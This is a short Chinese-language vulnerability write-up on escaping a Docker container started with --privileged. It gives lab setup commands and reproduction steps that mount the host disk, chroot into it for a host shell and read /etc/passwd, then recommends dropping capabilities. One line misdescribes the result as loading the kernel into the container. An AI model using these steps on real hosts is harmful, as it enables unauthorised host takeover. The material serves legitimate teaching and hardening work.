影响版本

危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险

漏洞原理

启用–privileged标志的容器拥有宿主机所有权限,可直接操作宿主机设备(如挂载/dev/sda5)或加载内核模块突破隔离。

环境搭建

1
2
docker run --privileged -it ubuntu /bin/bash
#cat /proc/self/status | grep CapEff,特权模式容器CapEff掩码值通常为0000003fffffffff或0000001fffffffff

漏洞复现

容器内查看磁盘

1
lsblk

image

容器内的/etc/passwd

image

容器内获取权限

1
2
3
4
5
mkdir /test
mount /dev/sda5 /test # 请根据实际磁盘设备修改
# 访问宿主机,即可获得一个宿主机Shell。
chroot /test bash
cat /etc/passwd

image

成功把内核加载进容器,获得宿主机权限。

修复建议

避免使用–privileged模式或–cap-add=SYS_ADMIN赋予容器宿主机级权限,而是采用–cap-drop=ALL --cap-add=NET_ADMIN等方式,只给容器授予必要的权限。